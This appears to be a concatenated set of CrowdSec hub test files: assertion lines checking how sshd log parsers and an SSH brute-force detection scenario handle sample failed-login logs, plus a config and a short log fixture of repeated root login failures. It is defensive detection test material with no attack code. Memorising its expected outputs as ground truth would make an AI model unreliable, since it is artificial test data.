results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["pid"] == "2660116" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["sshd_invalid_user"] == "root" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Parsed["message"] == "Disconnected from authenticating user root 179.43.183.98 port 52414 [preauth]" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Meta["target_user"] == "root" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Meta["datasource_path"] == "sshd-invalid-bf.log" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Meta["machine"] == "server" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][3].Evt.Meta["source_ip"] == "179.43.183.98" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["pid"] == "2662890" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["sshd_invalid_user"] == "root" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["message"] == "Disconnected from authenticating user root 179.43.183.98 port 59502 [preauth]" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["sshd_client_ip"] == "179.43.183.98" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Parsed["timestamp"] == "Jan 24 15:32:35" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Meta["machine"] == "server" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Meta["source_ip"] == "179.43.183.98" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Meta["target_user"] == "root" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Meta["datasource_path"] == "sshd-invalid-bf.log" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][4].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["sshd_client_ip"] == "179.43.183.98" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["sshd_invalid_user"] == "root" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["message"] == "Disconnected from authenticating user root 179.43.183.98 port 38346 [preauth]" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["pid"] == "2665707" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Parsed["timestamp"] == "Jan 24 15:32:36" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Meta["source_ip"] == "179.43.183.98" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Meta["target_user"] == "root" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Meta["datasource_path"] == "sshd-invalid-bf.log" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][5].Evt.Meta["machine"] == "server" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 6 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "sshd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "Disconnected from authenticating user root 179.43.183.98 port 59402 [preauth]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["pid"] == "2651912" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["sshd_client_ip"] == "179.43.183.98" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["sshd_invalid_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp"] == "Jan 24 15:32:31" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "ssh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "179.43.183.98" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["target_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"][4:] == "-01-24T15:32:31Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "sshd-invalid-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["machine"] == "server" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"][4:] == "-01-24T15:32:31Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["timestamp"] == "Jan 24 15:32:32" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "Disconnected from authenticating user root 179.43.183.98 port 38260 [preauth]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["pid"] == "2654543" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "sshd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["sshd_client_ip"] == "179.43.183.98" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["sshd_invalid_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["machine"] == "server" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "ssh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "179.43.183.98" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["target_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"][4:] == "-01-24T15:32:32Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "sshd-invalid-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"][4:] == "-01-24T15:32:32Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["timestamp"] == "Jan 24 15:32:33" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["pid"] == "2657307" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["sshd_invalid_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "Disconnected from authenticating user root 179.43.183.98 port 45326 [preauth]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "sshd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["sshd_client_ip"] == "179.43.183.98" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["machine"] == "server" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "ssh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "179.43.183.98" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["target_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"][4:] == "-01-24T15:32:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "sshd-invalid-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"][4:] == "-01-24T15:32:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["sshd_invalid_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "Disconnected from authenticating user root 179.43.183.98 port 52414 [preauth]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["pid"] == "2660116" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "sshd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["sshd_client_ip"] == "179.43.183.98" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["timestamp"] == "Jan 24 15:32:34" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["machine"] == "server" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["service"] == "ssh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "179.43.183.98" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["target_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"][4:] == "-01-24T15:32:34Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "sshd-invalid-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"][4:] == "-01-24T15:32:34Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["message"] == "Disconnected from authenticating user root 179.43.183.98 port 59502 [preauth]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["pid"] == "2662890" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["program"] == "sshd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["sshd_invalid_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["timestamp"] == "Jan 24 15:32:35" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["sshd_client_ip"] == "179.43.183.98" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["machine"] == "server" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["service"] == "ssh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_ip"] == "179.43.183.98" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["target_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["timestamp"][4:] == "-01-24T15:32:35Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_path"] == "sshd-invalid-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Enriched["MarshaledTime"][4:] == "-01-24T15:32:35Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["pid"] == "2665707" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["sshd_client_ip"] == "179.43.183.98" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["sshd_invalid_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["timestamp"] == "Jan 24 15:32:36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["message"] == "Disconnected from authenticating user root 179.43.183.98 port 38346 [preauth]" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["program"] == "sshd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["machine"] == "server" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["service"] == "ssh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["source_ip"] == "179.43.183.98" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["target_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["timestamp"][4:] == "-01-24T15:32:36Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_path"] == "sshd-invalid-bf.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Enriched["MarshaledTime"][4:] == "-01-24T15:32:36Z" len(results["success"][""]) == 0 hub1/.tests/sshd-invalid-bf/scenario.assert000066400000000000000000000077541437532772500211710ustar00rootroot00000000000000len(results) == 1 "179.43.183.98" in results[0].Overflow.GetSources() results[0].Overflow.Sources["179.43.183.98"].IP == "179.43.183.98" results[0].Overflow.Sources["179.43.183.98"].Range == "" results[0].Overflow.Sources["179.43.183.98"].GetScope() == "Ip" results[0].Overflow.Sources["179.43.183.98"].GetValue() == "179.43.183.98" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "sshd-invalid-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[0].GetMeta("machine") == "server" results[0].Overflow.Alert.Events[0].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "179.43.183.98" results[0].Overflow.Alert.Events[0].GetMeta("target_user") == "root" results[0].Overflow.Alert.Events[0].GetMeta("timestamp")[4:] == "-01-24T15:32:31Z" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "sshd-invalid-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[1].GetMeta("machine") == "server" results[0].Overflow.Alert.Events[1].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "179.43.183.98" results[0].Overflow.Alert.Events[1].GetMeta("target_user") == "root" results[0].Overflow.Alert.Events[1].GetMeta("timestamp")[4:] == "-01-24T15:32:32Z" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "sshd-invalid-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[2].GetMeta("machine") == "server" results[0].Overflow.Alert.Events[2].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "179.43.183.98" results[0].Overflow.Alert.Events[2].GetMeta("target_user") == "root" results[0].Overflow.Alert.Events[2].GetMeta("timestamp")[4:] == "-01-24T15:32:33Z" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "sshd-invalid-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[3].GetMeta("machine") == "server" results[0].Overflow.Alert.Events[3].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "179.43.183.98" results[0].Overflow.Alert.Events[3].GetMeta("target_user") == "root" results[0].Overflow.Alert.Events[3].GetMeta("timestamp")[4:] == "-01-24T15:32:34Z" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "sshd-invalid-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[4].GetMeta("machine") == "server" results[0].Overflow.Alert.Events[4].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "179.43.183.98" results[0].Overflow.Alert.Events[4].GetMeta("target_user") == "root" results[0].Overflow.Alert.Events[4].GetMeta("timestamp")[4:] == "-01-24T15:32:35Z" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "sshd-invalid-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[5].GetMeta("machine") == "server" results[0].Overflow.Alert.Events[5].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "179.43.183.98" results[0].Overflow.Alert.Events[5].GetMeta("target_user") == "root" results[0].Overflow.Alert.Events[5].GetMeta("timestamp")[4:] == "-01-24T15:32:36Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/ssh-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/sshd-invalid-bf/sshd-invalid-bf.log000066400000000000000000000012701437532772500216030ustar00rootroot00000000000000Jan 24 15:32:31 server sshd[2651912]: Disconnected from authenticating user root 179.43.183.98 port 59402 [preauth] Jan 24 15:32:32 server sshd[2654543]: Disconnected from authenticating user root 179.43.183.98 port 38260 [preauth] Jan 24 15:32:33 server sshd[2657307]: Disconnected from authenticating user root 179.43.183.98 port 45326 [preauth] Jan 24 15:32:34 server sshd[2660116]: Disconnected from authenticating user root 179.43.183.98 port 52414 [preauth] Jan 24 15:32:35 server sshd[2662890]: Disconnected from authenticating user root 179.43.183.98 port 59502 [preauth] Jan 24 15:32:36 server sshd[2665707]: Disconnected from authenticating user root 179.43.183.98 port 38346 [preauth] hub1/.tests/sshd-logs/000077500000000000000000000000001437532772500150575ustar00rootroot00000000000000hub1/.tests/sshd-logs/config.yaml000066400000000000000000000003071437532772500172100ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/crowdsecurity/sshd-logs.yaml #manual parsers scenarios: - "" postoverflows: - "" collections: - "" log_file: sshd-logs.log log_type: syslog hub1/.tests/sshd-logs/parser.assert000066400000000000000000000613671437532772500176130ustar00rootroot00000000000000len(results) == 3 len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 12 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["pid"] == "16378" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["timestamp"] == "Feb 12 14:10:21" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["message"] == "Invalid user pascal from 35.188.49.176 port 53502" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["machine"] == "sd-126005" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["pid"] == "16378" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["timestamp"] == "Feb 12 14:10:21" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["message"] == "Invalid user pascal from 35.188.49.176 port 53502" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["machine"] == "sd-126005" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["message"] == "Invalid user pascal from 35.188.49.176 port 53502" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["pid"] == "16378" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["timestamp"] == "Feb 12 14:10:21" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["machine"] == "sd-126005" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["message"] == "pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=5.33.63.160 user=workshop" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["pid"] == "28179" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["timestamp"] == "Nov 2 15:40:14" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["machine"] == "workshop" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["pid"] == "28179" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["timestamp"] == "Nov 2 15:40:15" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["message"] == "pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=5.33.63.161" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["machine"] == "workshop" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["message"] == "Connection closed by authenticating user root 206.81.24.125 port 45362 [preauth]" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["pid"] == "4177" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["timestamp"] == "Dec 22 14:53:37" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["machine"] == "ip-172-31-20-90" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["message"] == "Disconnected from invalid user ftp 92.255.85.135 port 26138 [preauth]" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["pid"] == "3355" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["timestamp"] == "Feb 19 10:38:14" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["machine"] == "myhost" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["timestamp"] == "Feb 19 10:38:14" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["message"] == "Disconnected from authenticating user ftp 92.255.85.135 port 26138 [preauth]" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["pid"] == "3355" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][7].Evt.Meta["machine"] == "myhost" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["pid"] == "3355" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["timestamp"] == "Feb 19 10:38:14" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Parsed["message"] == "Disconnected from totobad user ftp 92.255.85.135 port 26138 [preauth]" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][8].Evt.Meta["machine"] == "myhost" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["timestamp"] == "Oct 10 01:48:14" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["message"] == "Magic value check failed (4289475479) on obfuscated handshake from 94.232.46.213 port 62730" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Parsed["pid"] == "386400" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Meta["datasource_path"] == "sshd-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][9].Evt.Meta["machine"] == "username" 